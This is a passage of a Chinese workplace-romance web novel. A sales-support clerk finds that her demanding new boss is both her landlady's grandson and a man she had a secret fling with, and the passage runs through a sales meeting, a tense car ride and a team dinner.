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是警察来了,辛熙根本不知道要怎么结束这场---属于中老人的“群架”。
去见辛雅的路上,身上的伤还在撕痛。
辛熙摸着额头和颧骨处的创可贴,想起刚才的场景,生起些后怕。
自己怎么就冲进去了呢?
这不是她的风格。
在她稳稳当当的成长岁月里,她一向谨言慎行。
冲动了,冲动了,不该的,下回可别了,辛熙这么做了总结。
想着待会儿见到辛雅,估计得被说一通,心里就更是丧气。
姜渠赶来的时候,警察已经离开了。
声势浩大的闹戏,其实全都收着力。
由于双方都只有轻微擦伤,在警察的调解下,签了调解书,重新划分了场地,和平共处。
“这次可是写了保证书的,我看杨春菊她们往后还敢不敢乱来。”
几个脸上贴着创可贴的阿姨,正在七嘴八舌,“还是英姐聪明,让我们闹大点,把警察闹来。”
“事情不闹大点,难道真要每天跟她们比谁的音响响亮啊。到时候扰民了,警察不还得来。”
“不过刚才那架势,吓得我心脏到现在还突突跳。不行,我得回去吃降压药。”
说话的阿姨已经收拾起东西往回走,黎英对其他姐妹笑说:“张姐就是胆子小。咱都一把年纪了,谁敢真下重手啊。”
“您也知道您一把年纪了”,姜渠跨步走过来。
阿姨们各自散去,黎英回头,语气带了点质问,“你怎么来了?不是告诉你没事,不用往我这儿来吗?”
“您现在这叫没事儿?”
黎英答非所问,“又是闫老头告我的状了吧?”
不远处,一个精神矍铄的老头儿做贼心虚地低下了头。
姜渠拉住想要去找闫老头理论的黎英,盯着她脸上花里胡哨的创可贴,说:“闫爷爷也是为了您好。您都多大岁数了,还学人打架。还有没有哪里受伤?我带您再去医院检查一下吧。”
“不用,没事儿”,黎英摆手,“辛辛给我们买了碘酒和创可贴。”
“心心?您那老房子的租客?”
“对啊。今儿多亏了她在。”
“姥姥”,姜渠耐着性子劝她,“您就搬去我那儿,和我一起住吧。我好照顾您。”
“我要你照顾?”黎英有些不耐烦了,“你能把你那不着调的亲妈照顾好,就已经阿弥陀佛了。”
姜渠无奈,母亲元如苏在十八岁时生下他后,就将他扔给了姥姥养大。他从小跟在黎英身边,知道她的脾气,向来是说一不二的。
“那我搬回来和您一起住吧?”
黎英嫌弃地说:“我已经将你的房间出租了,家里没有你住的地儿。”
“姥姥。”
“干嘛!你个大男人跟我个老婆子住一起干嘛。再说,人家辛辛乖巧懂事、温柔体贴,洗衣做饭样样都行,把我照顾得好好地。你该哪儿玩哪儿玩去。”
“人家是租客,又不是保姆。再说,她再好,也只是个租客,总有搬走的一天。”
“那就等她搬走了再说。”
姜渠说不过。
临走时,他又看了眼那一群在公园门口载歌载舞的老年人,脸上贴着萌趣可爱的创可贴,跳着没有多少观赏性的舞蹈,动作僵硬,连整齐划一都做不到。
也不懂,有什么乐趣。
5. 第 5 章
烤肉店里,辛熙一进门就看见辛雅依偎着一个男人坐在靠窗的位置。和她以往交往过的那种肌肉猛男不同,辛雅的新男友清清爽爽,戴着一副无边眼睛,气质文雅。
一顿饭下来,辛熙对他的印象比前几任要好。是个很会把握分寸的人,既没有过分装熟络,又不至于让人觉得有距离感。
在洗手间的时候,辛熙试探着问辛雅,“姐,这个余博文,看着蛮不错的也。”
辛雅对着镜子补妆,不以为意,“你小小年纪,懂什么男人的好好坏坏。”
“我怎么不懂了”,辛熙试图为自己辩驳。
镜子里的俩姐妹,有相似的眉眼,可一个沾着脂粉平添成熟妩媚,一个素淡清澈略显稚嫩。
这让辛熙的话,毫无说服力。
“好了。我妹儿长大了,开始懂男人了。”
毫不意外地,这句话让辛熙红了脸。
“你看你啊,还是一句话就脸红,不是还想转做销售吗?你这样,怎么出去和客户打交道?”辛雅合上粉盒,“我劝你啊,还是趁早死了这心,安安分分地做你的文职工作。”
辛熙心有不服,但想到自己白天的表现,又没有底气反驳。
辛雅一眼就看穿了她的心思,“你今天的内部竞岗结果,我都不用问就知道,没选上吧?”
“还......还没出结果呢。”
虽然结果已经昭然,但辛熙并不想这么快缴械投降。
辛雅懒得拆穿她,只说:“博文是华新医院的放射科副主任,你待会儿和他留个联系方式,万一用得着。”
“知道了”,辛熙点点头,“谢谢,姐。”
嘴硬心软的姐。
星期一,辛熙比往常早起了半小时,简单洗漱后,她给自己画了个简单清透的妆。
擦胭抹粉,是她虚张声势的招数。
黎英见她又要不吃早饭出门,忙叫住。
“我快迟到了”,辛熙抬眼看了下墙壁上的挂钟。
“还不到八点,早着呢。”
“我们周一有例会”,她试图争取。
“先吃早饭”,黎英加重语气,不容商量。
辛熙只得听话。等吃完饭再赶往公司,她只能一路闷头往前冲。
她可不想在一群人的注目礼之下,走进会议室,更何况,周五下班前赵志远就在小群里通知了,说周一的例会,姜总会参加。
她实在,不想在他的面前刷存在感。
不幸的是,辛熙紧赶慢赶,还是只能眼看着电梯门在自己到达前一秒,无情地合上。
电梯里,施琪不解地看着始作俑者,正面无表情地将手指从闭合按钮上移开。
施琪问他:“你没看见还有人要上吗?”
“有吗?”姜渠理直气壮,装“没看见”。
“幼不幼稚啊你。”
姜渠置若罔闻。
那则由远及近,越来越明晰的身影,竟勾起了心底的顽劣,鬼使神差地将手指从开门键移到了关门键上。
真是幼稚。
会议室里,北区的销售团队齐齐出席,辛熙直接走到了最后排靠角落的位置。
这样的内部会议,她和卢湘的作用向来可有可无。无非就是提供会务支持,订餐、订茶点,以及随时被差遣。
以往这个时候,卢湘都是溜边的,但这次她却主动揽了事情,辛熙自然乐得隐身。
销售简运挪过来挨着她坐,见她气息还没喘匀,问:“怎么满头大汗的?”
“我......我爬楼梯上来的,累死我了。”
“干嘛爬楼梯?减肥啊?”
辛熙瞪他一眼,“我怕老板到了我还没到,会被批。”
辛熙喘着气,想起电梯关门前的那两个人影,分明就是姜渠和施琪没错啊,怎么这会儿人还没到?
“你脸怎么了?”
“擦伤,不碍事。”
简运离远一些去瞧她,“你这小脸,两张创可贴就遮住一半了。”
“我是什么蛇精吗?”辛熙知道他在夸张乱说。
简运和她差不多时间进的公司,两个人年龄相仿,又一起参加了新人培训,关系处得就较其他同事亲近些。
简运看向正坐在会议桌前连投影仪的卢湘,问:“她今天怎么这么积极了?”
卢湘的工作态度,他可是领教过的,一般能推则推,能拖则拖,除了几个销售经理和老销售能使唤动,他们这些后来的,找她办点事儿都得软磨硬泡,咖啡奶茶地求着哄着才行。
“我上周不是忙着竞岗的事情嘛,你们的单子进展我就没更新。”
数据是卢湘收集整理的,她想借机在新老板面前邀功也无可厚非,辛熙并不想抢人功劳。
“那你什么时候转岗过来?”简运并不怀疑她会失败。
虽然在辛熙告诉他,她想转岗做销售时,简运露出了不可思议的表情,连声劝她,“干嘛自讨苦吃?做销售哪里好了?里外都是孙子。女孩子就做点轻轻松松的工作好了”。但他还是尽可能地给予了帮助与支持。
辛熙摇头,“应该没戏了。”
“怎么可能?”简运大为震惊,“你的PPT做得很好,况且咱们演练过那么多遍。”
“不好意思啊,是我没表现好。”
姜渠进会议室的时候,他的目光自然地扫过全场,或许是老板们都自带buff,即便他言行随意,一样气场全开,会议室里立马噤声。
简运不由地坐直身子,堪堪将辛熙遮住了大半,辛熙长吁一口气。
“抱歉,刚才在电梯口遇到了司徒总,耽误了几分钟,我们现在开始吧”,姜渠地开场白十分简短,省去客套的寒暄,直奔主题,“Q1已经结束,财务那边已经将final的数据发给了各个zone,给大家十分钟的时间核对,十分钟后,我们一起看一下。”
十分钟?
五个销售经理面面相觑,赶紧打开电脑查收邮件,邮箱显示,邮件是一分钟之前送达的。
财务出的数据,有固定格式和逻辑,理解起来并不难,只是姜渠的意思,很明显是要经理根据数据做总结汇报。
赵志远率先反应过来,在人群末尾找到辛熙,招呼过来。
辛熙从电脑里调出既往数据,VLY/VLQ,信手拈来,再从产品类型、客户类型、地域、销售人员等不同维度做出对比。
卢湘自然也不能闲着,她虽然平时爱躲懒,但真到了需要她的时候,也是不会掉链子的。
十分钟,五个销售经理,辛熙做了三份,肾上腺素一路飙升,额上的创可贴因为汗水渐渐失去黏性,半吊着挂着眼角,辛熙试图将它贴回去,但无济于事,索性直接撕了下来。
“时间到了”,姜渠准点叫停,“做业务的,整合资源、善用人脉确实也是一项优势。那,京津冀的先来?”
赵志远应声。
京津冀属于核心地区,业务体量向来是全国第一,虽然业绩增长稍显迟缓,但并不妨碍他稳坐第一。
赵志远信心满满地准备开始,姜渠却并不按惯例出牌,他让施琪将电脑连上投影仪,大屏上很快显示出施琪的电脑桌面,而上面的数据模型,却和辛熙他们做出来的大不同,逻辑不同,角度不同,更细化,也更......专业。
十分钟的时间,施琪也并没有闲着。
而辛熙这十分钟的贡献价值,归零。
“这个数据我也是刚才拿到”,姜渠的声音不疾不徐,他飞快地从大屏幕上扫视,一边总结思索,一边捋出思路,“北区整个BS的performance产品存量不错,但主力军依然是CT,麦高在CT领域向来有竞争力,施琪,把CT的单子拿掉看看。”
拿掉CT后,数据图形由明显的双位数正增长回落,像活力四射的青年忽至垂垂暮年,“赵经理,现在这个状况你怎么看?”
“姜总,京津冀地区的客户在大放设备的买
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保习惯已经养成,他们更倾向于在原厂买保,我们要撬动,很难。”
“原厂优势在我们CT的维保合同上已经体现出来了,可我们做业务,总也不能等着喂饭”,姜渠又向施琪示意,调出同行数据,“高熙医疗做代理起家,去年却拿走了我们3家VIP客户的全院维保,咱们的原厂优势并不是坚不可摧,同样,友商的也一样的。医疗服务,要做品牌、做口碑。技术和价格,才是制胜关键。”
赵志远点点头附和,又听姜渠问:“Q2的单子报够了吗?”
姜渠提问的同时,施琪已经调出了3月末收集上来的预计签单量,合同数量、金额已基本接近公司下发的目标。
姜渠侧身坐在会议室的右上位置,单手支在会议桌上,沉声问:“能保证百分之百进来吗?”
当然不能。
任何事情都有风险,签回的合同都有撤销的,姜渠在明知故问。
赵志远摸不清他的意图,又哪敢直说,“我和我团队的人,会尽最大的努力签回单。”
“那就在OP的基础上,多报20%的风险单子,留够buffer。”
20%?
“所有经理都一样,有困难吗?”
有,可没有人发声。
会议室里气压低得不行,辛熙没有业绩压力,但也被这突然拍过来的20%给惊得抬起了头。
他一贯是这种强势作风吗?
太强势,不怕底下人不满,逆反抵抗吗?
全场除了说这话的姜渠,估计只有施琪,还能维持泰然,并又show出了一份数据。
“这张IB list或许可以帮助大家寻找新的业务机会,我待会儿有个会,预计半小时。经理先带着各自团队的销售,过一遍,等我回来再看。”
有销售在叫苦不迭,“这新老板也太强势了吧?”
“是啊,完全不带寒暄的,上来就让报单子。我去哪里找那20%。”
“我也是。只能卷铺盖去设备科、影像科打地铺了。”
简运在辛熙耳边低语,“也该治治他们了,这些老销售滑得很,手上指不定藏着多少呢。上季度,蒋经理这边掉了个大单,老赵愣是没给补。肖总也不知道,导致我们整个北区在全国垫底。只他赵志远团队,拿了满分绩效。”
“但这样,销售们应该对新老板意见很大吧?”
“这就看咱们这位新老板怎么取舍了。放任呢,短时间内是可以维/稳,但并不利于长治久安。他新官上任,总是要做点成绩给大老板看的。”
“简运,你什么时候这么有大局观了啊?”
简运得意地拍拍胸脯,“做业务的时候,见多了听多了,自然就懂了。”
辛熙露出了羡慕的表情,什么时候她也懂就好了。
身后猛地传来几声敲击,辛熙惊讶地回头,见姜渠隔着玻璃勾手,示意她出去。
或许不是叫自己呢?
辛熙左右看了看,只有自己闲着。
辛熙慢慢踱到他面前,“姜总,您有什么指示?”
“演乌龟呢?这么慢”,他的耐心很有限了,“去楼下给大家买咖啡,买完找我报账。”
“好的。”
“有问题吗?”
“没问题啊,那我先去问问大家要喝什么。”
“你确定你能记住二十多个人的口味?”
“我可以写下来。”
勤奋努力没必要用在这些小事上,姜渠简直无语,“只是一杯咖啡而已,不需要满足所有人的口味。”
“可......”
“你只有二十五分钟了。”
“哦,我这就去。”
“顺便去药店......”
“嗯?”
目光若有似无地扫过额上那粉白的长方形压痕,“帮我买盒感冒药。”
“您感冒了吗?”
看着精神抖索,中气十足,也不像啊。
6. 第 6 章
等待咖啡的间隙,辛熙一路小跑到对街的药店,店员见她进来,最先瞧见她额上的伤,问:“是要买创可贴吗?”
“啊......不是,我买感冒药。”
结账时,店员又好心提醒,“女士,您额头上的伤还有点渗血,建议您再贴一两日的创可贴,并且避免伤口碰到水哦。”
辛熙这才从镜面柜里瞧了瞧,惨惨淡淡地模样,嗯......确实十分有必要再贴一个。
姜渠从高管视频会议上下来后,就一头扎进北区的会议里。
原本还担忧销售会有很大的抵触心理,但姜渠带回来的一个好消息,扭转了局面。
公司已经审批通过了新的绩效考核和提成发放方式,而新的规则给了销售很大的激励刺激。
简单来说,财务会根据既往记录,给出线性规则。往后,他们给公司签回的每一单,不光能拿到单子提成,还能按比例拿到额外奖金。
这意味着,销售给公司带来的利润越大,自己的小钱包也会越鼓。就是既要马跑,也不吝啬草。
“并且成本控制会交到一线销售的手上,就是说,签下一单合同,节省下来的各项成本也都会体现在你们的工资奖金上。”
这是姜渠向公司争取了三个月,才落定的方案。
于销售团队而言,等同于放权,但利益和压力向来连体共存,连简运这种得过且过的人,都在跃跃欲试,摩拳擦掌。
中午是施琪订的简餐,大家就在会议室里,一边吃饭一边头脑风暴。
姜渠一直不得空,只在听销售讲话时,快快地吃上几口。
会议室里,空气并不流通。即便只是初春,闷久了也有些潮热。姜渠将外套脱了,随意地搭在椅背上,他挽起袖管,左小臂上半截疤痕若隐若现。
都这么久了,还这么明显,辛熙不小心瞅了一眼,紧跟着一阵心悸。
卢湘来到辛熙旁边坐下,叹道:“这姜总真不是人,哦,不是一般人。”
今天算是真的见识到了他的雷厉手段,但卢湘并不担忧,她有她的职场生存法则。
“看到他手上那道疤痕没?听说年前在川西遇险时伤的。”
“你怎么知道?”
以为是秘而不宣,却早已众人皆知?辛熙不敢再多看,生怕与自己牵出什么瓜葛来。
“你忘啦,年前公司配合政府的千县工程,在西区搞了个什么技术下沉,就是姜总领头的。听说,当时去的时候,正好遇折多山大雪,遇到了很严重的交通事故。”
原来是这样。心底那段灰色蒙昧的心事,暂且回归安全巢穴。
“姜总手上那伤就是那时候受的吧。不过也因为这事儿,在西区收获了军心,也算因祸得福啦。”
辛熙默默地听着。
目光越过人影的肩背缝隙处,重新寻到那暗红色的印记,起伏的沟壑,如雪山上飘扬的风马旗。
“你那时候刚好休假,没听说也正常。诶,你那次休假,是不是也是去的四川?”
“是么?”辛熙心不在焉,自问自答,“是吧。”
“去了四川哪里呀?好玩吗?我在想五一我也去趟四川玩好啦。”
“就,网上推荐的那些知名景点,还行吧。”
姜渠感觉到一道打量的目光,眉心微蹙,眼风甩过去,正好落在了角落里说闲话的俩人身上。
工作时间,闲聊八卦,姜渠最讨厌手下的人如此。
他可以接受员工迟到早退,只要你在该做事的时候,专注做好。
他讨厌混时间的人,这不光是在浪费自己的生命,也耽误了别人的时间。
姜渠轻叩桌面,“你俩也过来,跟着记录一下。”
卢湘和辛熙赶紧夹着尾巴凑过来。
赵志远刚好说到华新医院的合同续签问题,见辛熙过来,问她,“这合同的盖章件,客户还没给吗?”
“上周五问过了,主任说院长还没签字。”
“都俩月了,还没签?”
“是的。”但这本不是辛熙的工作。
赵志远也意识到了,转身去叫负责的销售。
张鑫对姜渠解释,“华新是我们的老客户,一直以来合作得都很好。前期我已经和医院敲定了细节,医院也过会了。前阵子忙,正好客户在京北,就请辛熙帮忙取合同。”说完又转身问辛熙,“还没拿回来吗?”
“没有,差院长签字。”
“差签字,怎么没跟我说?”
“我没说吗?”辛熙脱口反驳。
如果可以,她真想把他的头摁到手机屏幕上,睁大你八百度的近视眼看清楚,微信、电话上面的记录都是假的吗?你失忆了还是魂穿了?
可姜渠没有给她自证的机会,他并没耐心听他们扯这些功过是非,说:“既然知道卡点,就去解决问题。”
“好的,姜总,我现在去就联系客户。这个月一定把正本合同拿回来。”
张鑫立下军令状。
辛熙心里发堵。
她知道,这只是一件小事,于姜渠、于赵志远,甚至于张鑫,都算过去了。而她的委屈,不过去也得过去。
若她计较,非要论个是非分明,就会被说不成熟。
不成熟的辛熙,在底层探索职场,做得越多,锅背得越多。
“北区向HR要了个HC名额,是吗?”
“是的”,赵志远点头,“辛熙和卢湘两个人,要支持整个北区的大盘,工作量还是大了些。”
“那就把人放在哈尔滨吧,让蒋星他们带带。”
蒋星是东三省的销售经理。
“既然销售支持也要帮着见客户,签合同,那就招一个base在哈尔滨,方便工作。施琪,辛苦你跟HR说一下。”
“好的,姜总。”
依然不容商榷。
下午六点,会议接近尾声。
姜渠对时间的精准掌控再一次体现出来。
过往这种会议,没有一次是不延时的,以致于辛熙早早就给黎英发了消息:我晚上要加班,晚点回哦。
辛熙雀跃着,今天又是能准点下班的一天啊!
就在她收拾东西准备迎接这一刻时,赵志远起身朝众人招呼了一句,“都别走啊,晚上咱们聚个餐,欢迎姜总。”
辛熙的笑容僵在了脸上。
两张创可贴下一张皱皱巴巴的脸,姜渠看见她的笑容僵在了脸上,心情甚好,随即挂起了笑,“大家把会议室收拾干净,别给保洁添麻烦。”
得吧,不就吃个饭嘛。
二十多个人,磨磨蹭蹭晚些到,到时候往边上一坐,等大家喝得差不多了,溜边走了就是。
她经常这么干,无往不利。
辛熙不善交际,但也因此练就了一身躲交际的小心机。
群里发来了餐厅地址,辛熙做好最后的收尾工作,关灯关门,一气呵成。走出写字楼时,正是斜阳西落,停车场里驶出来一辆奔驰SL,耀眼的红色,敞篷大开。
春风吹起两人恣意而张扬的头发,频频引得路人回眸。
真是好看。
卢湘和施琪,是不一样的好看。
卢湘长发微卷,坐在副驾驶,半靠着车窗,独有一种“老娘最美”的风情。施琪是榛果灰棕的齐肩发,夕阳余晖下,将她的那股子洒脱劲儿展现得淋漓尽致。
施琪将车停在辛熙身旁,问:“你怎么过去啊?”她的车是双门双座,自然带不了辛熙,施琪朝她略带抱歉地笑笑。
“我打车就好。”
辛熙倒无所谓,搭谁的车,对她来说都是负担,还不如自己
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去。
车后传来两声催促的喇叭,辛熙赶紧退开,“施琪姐,你们先走吧。”
“咦”,施琪忽然福至心灵,“那你坐姜总的车吧,反正他车上也就他自己。”
辛熙瞪大双眼,谢谢好意,但大可不必啊,“倒也不用这么麻烦他。”
“没事儿,他就在后面,我跟他说一声。”
没等辛熙再说,施琪的电话已经拨通,“喂~姜总,你带辛熙一起过去呗。我车只能坐俩人。顺便的事儿,就这样哦,她就在停车场入口。不说了,后面的车在催我了。”
姜渠和施琪中间原本就只隔着两辆车,他一眼就看到了站在施琪车边的人,双手飞快摆动,姿势和表情都写满了拒绝。
傻不拉几,又......可怜兮兮的?
哪里可怜了?
春和景明,又没降霜落雪。周边环境也是高楼林立,繁华都市。穿得也是体体面面,长得也是圆咕隆咚,又不是缺吃少穿的样儿。
只能是因为脸上贴的那俩创可贴,过分明显了。
谁会给自己脸上贴两张创可贴啊?惨兮兮的样子,给谁看。
都受伤了,不也没忘记化妆臭美。
姜渠记得她在会议室里,搞数据搞得满头大汗,创可贴将落不落地耷拉着,丑死了。
那张创可贴......现在的创可贴都这么花里胡哨了?
在姜渠的车驶近的这十秒钟里,辛熙想了很多。
如果他没同意施琪的提议,当没看见,直接开走了,那再好不过。
如果他让我上车,是坐副驾还是后座?
上车后,又该说什么?
寒暄叙旧?不敢。
装不认识?会不会死得更惨?
辛熙做着徒劳的挣扎,在破罐破摔和掉头走掉之间艰难抉择,姜渠的车子已经开到她面前。
“愣着干嘛!”
“姜总,您亲自开车啊?”
点头哈腰的样子。辛熙并不善于媚上,装起来就有些别扭。
“那不然你来开?”
“我......没驾照。”
那干嘛废话?姜渠并不乐意同她多说。
开了一天的会,脑子一直保持着高速地转动,此时,他只想安安静静地待会儿。销售们先拼着车子走了,卢湘随他们一起下来,她没有车,姜渠直接将她安排给了施琪。
这倒好,偏漏了这一个。
“那麻烦您了。”
装什么客套礼貌!
车子一路往前,辛熙在副驾上正襟危坐。
她感觉到了他的疲怠和冷淡,是以,也懂事地闭口不言,抿着嘴看窗外的景致。
春日艳景,落日余晖至浓至烈,车子驶上高架桥后,咸蛋黄便移动到了他们的正对面。桥路被暖调的橙色光雾笼罩着,“我们......好像走在金光大道上呢。”
姜渠戴着墨镜,拉下遮光板,并没有给回应。
辛熙倒不介意。
情绪敏感时,像一戳就破的泡泡,可有时,她又莫名地钝感力十足,一点点美好就可以将情绪包裹得无坚不摧。
余晖洒落成珠光般的碎片,洋洋洒洒,铺满了引擎盖、挡风玻璃,好像要将他的这辆黑车全部贴上彩钻。
墨镜下的眸子睇过来,不动声色地落在副驾驶的人身上。
明明跻身在城市,却好像置身在高原之巅,白雪茫茫处,那个姑娘,两颊酡红,朝他傻笑。
姜渠忽然转动方向盘,驶下高架桥,车子飞速地移出车道,停在路边。带着一种势不可挡地侵略性。
“怎,怎么了吗?”辛熙双手握着安全带,生怕他下一秒就让自己下车。
一开始不让自己上车,没有关系。可若要半道赶人下车,那就得好好理论一番了。
7. 第 7 章
他不会是想动手打我吧?辛熙将身子缩在一边,警惕地睨向他。
“怎么?荒无人烟的雪域高原上都不怕被我卖了,现在倒警惕起来了”,姜渠似笑非笑地调侃。
辛熙沉默以对。
于她而言,那是一段美妙的奇遇,是贫瘠人生的昂贵馈赠。
她视若珍宝,但珍宝,不可见天日。
“要继续装不认识?”
辛熙听出了他话里的讥讽。
她不擅掩饰,所以心思一旦被戳破,她只会红着脸,沉默不语,认命地接受审判。
好在她向来思虑多,对所有未发生的可能,她都会提前预设。
周末两天时间足够她打好腹稿应对。
辛熙坐直身子,双手紧捏着安全带,好似一心赴死的战士握紧了长枪,格外英勇地朝他笑笑,“姜总,认识您是我的福气呢。”
并不是反讽的语调,可还是听得姜渠皱起了眉头。
“咱们居然在一个公司上班,真是荣幸啊”,红口白牙,一张一合,语调缓而绵软,“但您放心,咱俩级别差太多,工作上不会有什么交集的。您可以当不认识我,嗯......我保证不会在您眼前晃。”
意思是,我不会碍着您眼,您也别给我穿小鞋,就当我不存在,可以么?
就差把“求求了”这种不争气的话,说出来。
如果可以,她不想这么快就换工作。
麦高是个很好的平台,行业前景、公司规模都是二十四岁的辛熙所能企及的最好的。她也不想再奔波去面试,说那些包装得过份的词,将十分的成果说满到一百分。
所以,咱们好好商量,井水不犯河水,行不行!
“这就是你想了一个周末,想出来的说词?”
是的呀,辛熙瞪着黑溜溜的圆眼珠子,见他的表情似乎并不满意,心跟着提到了嗓子眼,并为此,展开了详述,“您,您不用担心我用那段关系威胁您,让您给我开后门。转岗的事情,我知道自己的差距在哪儿,我会在往后的工作中多培养业务方面的敏感性,以及与行业相关的专业知识,提升自己。”
“你倒是有自知之明”,鼻息间哼出一声冷笑。
辛熙偏过头,以为自己已经快将他说动,于是乘胜追击,补充道:“而且,而且那会儿是我主动的,也不关您的事情,您大可不必有负担。”
姜渠没有想到自己会从这个看似乖巧老实的女孩子口中,听到这样的话。
不必有负担?所以不用负责任?这么说来,自己倒像是被她恩赦了一样。
“那可谢谢你了。”
辛熙以为两人就此达成共识,眨着一双清透漂亮的眸子,无比真诚地做总结发言,“姜渠,我很感谢您陪着我度过了一段那么愉快的时光,我会好好珍藏,绝不会告诉第三人的。”
你懂我意思吧?这事,只有我俩知道,你完全可以当无事没发生。
姜渠却烦透了她的这副真诚模样。
就像那时,她无比真诚地说:“我好喜欢你、我只喜欢你、我最喜欢你了”。
“你真这么想?”
“嗯?”辛熙点头,“当然了。”
“既然那是段愉快的经历,我怎么确定你不会在某一天突然想要重温旧梦?”
重温旧梦么?
辛熙的确没有想过。
她怎么敢啊,可胸腔还是因为这句话旋起狂烈的风暴。
他在引诱自己,或者是在试探。
辛熙猛然想起自己在楼梯间听到的那通电话,生起一个疑问,她必须先问清楚,“我有一个问题想问您。那时候,您确定是处于单身的吧?”
她并不想追溯过往,但她很怕因为自己曾经短暂的贪欢而伤害无辜。
所以,明确一下,你现在的这个女朋友是咱俩分开后再找到的,而不是同一时段进行的吧?
“如果我说不是呢?”偏就不想看她心安理得。
“不,不,不是......怎么能不是呢?我问过您的呀”,辛熙完全没有料到会是这个回答。
“那我不能撒谎?”
“您怎么能撒谎呢,明明,明明......”
明明在两个人热烈而坦诚的交托彼此之前,明确过两个问题:单身与否,健康与否?
辛熙瞬间懊恼起来,如果真的做了“小三”,是不是得给人家道歉啊?可如果伤害已经造成,道歉有屁用。
在被道德枷锁绑上十字架之前,辛熙凶狠地瞪向元凶,“您骗我!”
如果,如果这是真的,她的珍宝就真的是见不得天日的。
骗你又如何?总比你始乱终弃,玩人间消失的强!姜渠终于觉得自己拿回了失控的主导权,心里好受多了。至于,要主导什么,他并没有心思往下深挖。
眼前的女孩子薄粉敷面,霞光里,脸上的细软绒毛随着起伏的情绪,晃晃悠悠。
渣男!明明都有女朋友,还在外面沾花惹草。
辛熙果断在心里给他下了定义。
当认定眼前这个男人在感情上是个渣渣后,那些外表、职业赋予他的光环通通不见了。辛熙在道德高地生出一股优越感,果断反击,“做你女朋友可真倒霉。”
“你说什么?”
“我说!哪个女生跟你谈恋爱都是倒了大霉。”
连你都不“您”了,辛熙是真的生气了。
姜渠眸光一沉,几乎是咬牙切齿,“下车!”
下就下!
辛熙的心情糟糕透了。
夕阳也不美了,春风也不和煦了,乌云挂在头顶了,未来人生渺渺无望了。
如果刚才摔门的动作,没有因为忽然回归的理智而减缓,端出的姿态或许能够占据上风。
好吧,那一瞬间她怂了。
可姜渠的车子已经扬长而去,甩给她一鼻子的尾气和粉尘。辛熙认命地拿出手机,点开餐厅的定位,准备打车,软件显示,距离较近,建议步行。
原来已经到附近了啊。
可这半点没有抵消掉辛熙的愁苦郁闷。
她循规蹈矩的人生,唯一一次叛离,就遇到了个渣男?而这渣男,还成了自己的顶头上司?
辛熙欲哭无泪。
聚餐地点在一家在河边烤肉店,二十多人拼成一条临河的长桌。宣沸人声,玩笑取闹。一个个脱下装面儿的西装,姿态闲适。
辛熙到的时候,所有人都已落座。最前面留着两个空位,很明显,其中主位是留给姜渠。而另一个......辛熙不想也不敢坐过去。
施琪在朝她招手,辛熙略带抱歉地摆摆手,在人群里寻到简运,示意自己就坐这边就好。
简运催促着挨着自己的人,“赶紧往旁边挪挪,给我们家熙熙让座。”
临近的同事跟着起哄,“得,得,你们家的熙熙。来,简熙熙这边坐。挨着你们家简运坐。”
他们经常拿他俩开玩笑。
辛熙已经习以为常。虽然她解释很多回,他俩纯友谊,但他们根本不信。不,是他们根本不听,因为他们根本不关心真相。
沾着暧昧的调笑起哄
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,不过是为这一餐饭助兴。
酒桌上都是义薄云天的好兄弟,只差歃血为盟,磕头结拜,第二天醒来照样为了争一个客户闹得不可开交。
当然,也少不了异性之间,胡作些声色犬马的好戏,打发无聊的日子,各取所需。
简运已经被同化了。
以前他还会出声阻止,“别乱开女孩子玩笑,辛熙脸皮薄。”
而现在,他乐在其中。
辛熙只能硬着头皮坐过去。
一道身影从侧边擦过,姜渠神色淡漠地经过他们,对满桌的招呼声置若罔闻。
他听见了,该听的,不该听的。
卢湘正在向施琪科普关于辛熙和简运的八卦,“施琪姐,我就跟你说,辛熙不会坐我们这儿的。她以往都和销售坐一起。”
“是么?”
“嗯,每次她都是挨着简运坐的。”
话里的暗示再明显不过,施琪挑眉,“他俩谈恋爱了?”
“这不太确定,但反正公司也不反对司内恋爱的哈?”
施琪笑笑,“怎么,你在公司内也有心仪的对象了?”
卢湘并未否认。
销售团队的聚餐,总少不了喝酒拼酒,即便姜渠在一开始就说了,“咱们自己人,喝不喝都随意。”
但不喝点酒,又怎么能随意呢?
为下者敬上,上位者惜下,都可以用一句“话不多说,都在酒里”概括。
销售轮番者上来敬酒,姜渠都没推拒。
施琪看出了他心情不佳。同窗加共事这么多年,施琪自然是了解他的,越是心情不好就越是表现得合群。
可为什么心情不好呢?
下班时不是挺好的吗?
宴酣之乐,任他人起坐喧哗,辛熙猫在角落里,认真吃肉。烤羊排真的很香啊,那些黄的、白的,有什么好喝的?她不懂。
大家都很熟悉,知道辛熙不喝酒,也不会劝她。实在要陪一个气氛的,也只浅尝。
同事平日里麻烦她的时候很多,在这样的场合里,也就都尽量照顾着。
乖巧的孩子,偶尔也会被偏护。
就像此时,卢湘端着酒杯来敬姜渠,赵志远赶忙叫辛熙过来,“你俩一起给姜总敬一个。”
赵志远是在提点她。
他知道,如果让辛熙单独来敬酒,她肯定做不到。她和卢湘同一职位,乘着卢湘的东风,两个人一起敬个酒,顺便在老板面前混个脸熟也是好的。
卢湘多会说话呀,“姜总,再次向您自我介绍一下,我叫卢湘。负责咱北区的销售支持工作,往后您有任何需要,随时吩咐,保证不让您失望。”
“辛苦”,姜渠同她碰杯。
视线转到辛熙这边,她端着酒杯,正准备见样学样,却听得姜渠意有所指地问:“我俩之前是不是见过?”
呵呵,不仅见过,还赤裸裸地见过呢,辛熙在心底腹诽,但没有胆量胡扯。
“是呢,上周五,在内部竞岗的会上。”
“有你么?”
可真是贵人多忘事呢。
不远处的简运听到了这边的对话,端着酒杯跑过来,“有啊,姜总。PPT还是我陪熙熙一起做的呢。辛熙为了这个机会准备了很久,她真的很想做销售,您就给她这个机会呗。这杯酒,我代熙熙,先干为敬。”
辛熙阻止简运继续说下去,这算什么啊,难不成自己能力不足,还要靠讲人情去竞争吗?
“姜总,他喝多了,您别介意。”
得,相互帮衬着。
8. 第 8 章
姜渠当然不介意,但他说:“想做销售?等你什么时候不用人陪着做PPT了,再说。”
连独立地做个PPT都做不到,往后见客户呢?招投标呢?谈判会、客户会呢?要谁陪着?
“知道了”,辛熙对明知的结果坦然接受,但她讨厌被姜渠看轻。
情绪小心翼翼地落寞着,却被酒精无限放大。要争口气啊,辛熙!
姜渠已经有了明显的醉意,只是他自控力极强,才没有像桌上的其他人一样,歪七倒八,丑态尽显。
施琪给他端来一碗热汤,“暖暖胃,一天也没见你怎么吃东西。”
“谢谢。”
“国内的酒桌文化我是真适应不了,这三个月里喝酒喝到,我现在看到任何含酒精的东西都生理性反胃。连去酒吧的兴致也都没有了。”
他还有心思挖苦,“难道你去酒吧是为了喝酒?”
